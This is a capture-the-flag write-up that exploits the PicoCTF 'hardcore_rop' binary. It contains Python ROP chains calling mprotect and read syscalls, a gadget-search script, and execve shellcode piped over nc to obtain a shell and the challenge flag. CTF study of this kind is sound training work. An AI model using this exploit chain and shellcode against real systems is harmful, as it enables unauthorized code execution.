staring into /dev/null

barrebas

PicoCTF - Hardcore ROP

Our team, vulnhub-ctf, joined picoctf to improve our skills and learn a thing or two. There were many challenges, among which a few “Master Challenges” worth 200 points. This is a story of how we tackled hardcore_rop. The challenge promises ASLR, NX, PIE and what-have-you, so let’s get cracking!

Upon inspecting the source of code of this weird program, we see the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void randop() {
  munmap((void*)0x0F000000, MAPLEN);
  void *buf = mmap((void*)0x0F000000, MAPLEN, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE|MAP_FIXED, 0, 0);
  unsigned seed;
  if(read(0, &seed, 4) != 4) return;
  srand(seed);
  for(int i = 0; i < MAPLEN - 4; i+=3) {
      *(int *)&((char*)buf)[i] = rand();
      if(i%66 == 0) ((char*)buf)[i] = 0xc3;
  }
  mprotect(buf, MAPLEN, PROT_READ|PROT_EXEC);
  puts("ROP time!");
  fflush(stdout);
  size_t x, count = 0;
  do x = read(0, ((char*)&seed)+count, 555-count);
  while(x > 0 && (count += x) < 555 && ((char*)&seed)[count-1] != '\n');
}

int main(int argc, char *argv[]) {
  struct stat st;
  if(argc != 2 || chdir(argv[1]) != 0 || stat("./flag", &st) != 0) {
      puts("oops, problem set up wrong D:");
      fflush(stdout);
      return 1;
  } else {
      puts("yo, what's up?");
      alarm(30); sleep(1);
      randop();
      fflush(stdout);
      return 0;
  }
}

The randop() function is interesting, because it does two things. Firstly, this bit builds random ROP gadgets:

1
2
3
4
5
6
7
8
9
10
munmap((void*)0x0F000000, MAPLEN);
void *buf = mmap((void*)0x0F000000, MAPLEN, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE|MAP_FIXED, 0, 0);
unsigned seed;
if(read(0, &seed, 4) != 4) return;
srand(seed);
for(int i = 0; i < MAPLEN - 4; i+=3) {
  *(int *)&((char*)buf)[i] = rand();
  if(i%66 == 0) ((char*)buf)[i] = 0xc3;
}
mprotect(buf, MAPLEN, PROT_READ|PROT_EXEC);

The memory region containing the random ROP gadgets is set to executable. However, we control the seed value, so we can “choose” which gadgets are generated. Secondly, this function causes a buffer overflow thanks to the following code:

1
2
3
size_t x, count = 0;
do x = read(0, ((char*)&seed)+count, 555-count);
while(x > 0 && (count += x) < 555 && ((char*)&seed)[count-1] != '\n');

This function starts to overwrite the stack up to the point were the saved return address is. Very nice! First, let’s enable coredumps and get control of EIP.

1
2
3
4
5
6
7
8
9
10
bas@tritonal:~/tmp/picoctf/hardcorrop$ (echo 7777; python -c 'print "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB"') | ./hardcore_rop `pwd`
yo, what's up?
ROP time!
Segmentation fault (core dumped)
bas@tritonal:~/tmp/picoctf/hardcorrop$ gdb hardcore_rop core
GNU gdb (GDB) 7.4.1-debian
...
Core was generated by `./hardcore_rop /home/bas/tmp/picoctf/hardcorrop'.
Program terminated with signal 11, Segmentation fault.
#0  0x42424242 in ?? ()

Excellent! After we send a seed value (7777), we supply a buffer that overwrites the saved return address on the stack. But we cannot just put our shellcode on the stack and execute it, because of NX. We can’t write into the region at 0xf000000 because it isn’t writeable. Furthermore, most of the address are randomized due to PIE and ALSR. Only the ROP gadgets at 0xf000000 are always at the same location. We need to find enough ROP gadgets to make the region at 0xf000000 writeable, so that we can store shellcode there and execute it.

For this to work, we need two things: control over registers and an int 0x80 instruction, to execute syscalls. The region at 0xf000000 contains 40960 bytes, filled with random ROP gadgets. There could be an int 0x80; ret; in there. The chances are slim, but there’s a chance nonetheless. I scripted the search for ROP gadgets with the following:

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash

while read i; do
  (echo $i; echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB") | ./hardcore_rop `pwd`
  dd if=core of=region bs=1 skip=4096 count=40960
  xxd -c 1 region | awk {'print $1 $2'} |sort -r > dump.txt
  python ./ropgadget.py -i bleh -d 10 > $i-gadgets.txt

  cat $i-gadgets.txt |egrep 'int 0x80'
  rm core
  rm dump.txt
done < digits.txt

This script does the following: it runs the program and sends a seed value for the ROP gadget generation. Then, it crashes the program. From the coredump, it extracts the region at 0xf000000 and proceeds to dump all these bytes into a textfile. Finally, my custom ropgadget.py searcher extracts all the ROP gadgets. It is slightly modified to work with this setup. I let this script run for a few hours. After a while, I ran

1
2
bas@tritonal:~/tmp/picoctf/hardcorrop$ grep "int 0x80" *
0347-gadgets.txt:RET: 0x0000d64: int 0x80; lahf; ret;

It found an int 0x80 gadget! Luckily, the opcode lahf is harmless: it just load the FLAGS into ah. No big deal! With this useable gadget, a ROP chain could be built that calls mprotect to set the region at 0xf000000 to writeable. After this stage 1, a second stage would read the shellcode. First things first, let’s find gadgets that allow us to control registers. The easiest would be a pop r32; ret. Luckily, these sequences are very likely to occur. I found everything I needed in the list of gadgets:

1
2
3
4
5
# RET: 0x000913f: pop eax; ret;
# RET: 0x0003c7e: pop ecx; ret;
# RET: 0x0002393: pop edx; ret;
# RET: 0x000964d: pop ebx; ret;
# RET: 0x0000d64: int 0x80; lahf; ret;

I wrote the following ROP chain:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/python

import struct

BASE = 0xf000000
# RET: 0x000913f: pop eax; ret;
popeax = 0x000913f
# RET: 0x0003c7e: pop ecx; ret;
popecx = 0x0003c7e
# RET: 0x0002393: pop edx; ret;
popedx = 0x0002393
# RET: 0x000964d: pop ebx; ret;
popebx = 0x000964d
# RET: 0x0000569: pop edi; ret;
popedi = 0x0000569
# RET: 0x0000d64: int 0x80; lahf; ret;
int80h = 0x0000d64
# RET: 0x0001b11: int3; ret;
int03h = 0x0001b11

def p(x):
  return struct.pack("<L", x)
  
payload = ""

# seed value
payload += "0347\n"

# overflow buffer
payload += "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

# syscall number 125 in eax (mprotect)
payload += p(BASE + popeax)
payload += p(125)

# pointer to memory region in ebx
payload += p(BASE + popebx)
payload += p(BASE)

# memory flags PROT_READ | PROT_WRITE | PROT_EXEC
payload += p(BASE + popedx)
payload += p(7)

# length in ecx, needs to be multiple of 2
payload += p(BASE + popecx)
payload += p(0x1000)

# call syscall int 0x80
payload += p(BASE + int80h)

# stage2 test
# edi = 0xf000000
payload += p(BASE + popedi)
payload += p(BASE)
# edx = 0xcccccccc (four times int 0x3)
payload += p(BASE + popedx)
payload += p(0xcccccccc)
# RET: 0x0002770: mov [edi], dh; ret
payload += p(BASE + 0x0002770)
# return to 0xf000000, which should contain an int 0x3
payload += p(BASE + popedx + 1)
payload += p(BASE)

print payload
## Usage: $ python ropsploit.py | ./hardcore_rop `pwd`

After running this first POC, the binary indeed crashed with a SIGTRAP error! Inspection of the core dump with gdb showed that the first byte of 0xf000000 was a 0xcc, so this worked!

Writing the shellcode one byte at a time seemed tedious. Furthermore, the ROP chain has a maximum of 555 bytes, so a more flexible way was to use syscall_read. This will allow us to read in arbitrary shellcode. All the necessary gadgets were present:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/python

import time, struct

BASE = 0xf000000
popeax = 0x000913f
popecx = 0x0003c7e
popedx = 0x0002393
popebx = 0x000964d
popedi = 0x0000569
int80h = 0x0000d64
int03h = 0x0001b11

def p(x):
  return struct.pack("<L", x)
  
payload = ""

# seed value
payload += "0347\n"

# overflow buffer
payload += "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

# eax = syscall_mprotect
payload += p(BASE + popeax)
payload += p(125)
# pointer to memory region in ebx
payload += p(BASE + popebx)
payload += p(BASE)
# memory flags PROT_READ | PROT_WRITE | PROT_EXEC
payload += p(BASE + popedx)
payload += p(7)
# length in ecx, needs to be multiple of 2
payload += p(BASE + popecx)
payload += p(0x1000)
# call syscall int 0x80
payload += p(BASE + int80h)

# eax = syscall_read
payload += p(BASE + popeax)
payload += p(3)
# ecx = ptr to BASE
payload += p(BASE + popecx)
payload += p(BASE)
# ebx = fd = stdin
payload += p(BASE + popebx)
payload += p(0)
# edx = size of shellcode (set to 100)
payload += p(BASE + popedx)
payload += p(100)
# call syscall int 0x80
payload += p(BASE + int80h)

# return to 0xf000000
payload += p(BASE + popedx + 1)
payload += p(BASE)

print payload
time.sleep(3)

Now, this was used with a slightly modified shellcode. This shellcode uses execve to run /bin/ash; I changed it to run /bin//sh. The shellcode has to be supplied seperately on the command line; I could not get the exploit to work if the shellcode was printed from ropsploit.py. The following landed us a shell on the remote server (again, using cat to keep the shell alive):

1
2
3
4
5
6
7
8
9
10
11
bas@tritonal:~/tmp/picoctf/hardcorrop$ (python ropsploit.py; python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'; cat) | nc vuln2014.picoctf.com 4000
yo, what's up?
ROP time!
ls -al
total 24
drwxr-xr-x    2 root     root          4096 Oct 28 17:55 .
drwxr-xr-x    3 root     root          4096 Oct  5 17:33 ..
-rw-r--r--    1 root     root            21 Oct  5 17:44 flag
-rwxr-xr-x    1 root     root         11266 Oct  6 01:13 hardcore_rop
cat flag
hard_as_PIE_amirite?

And there’s the flag! A very fun challenge!

Comments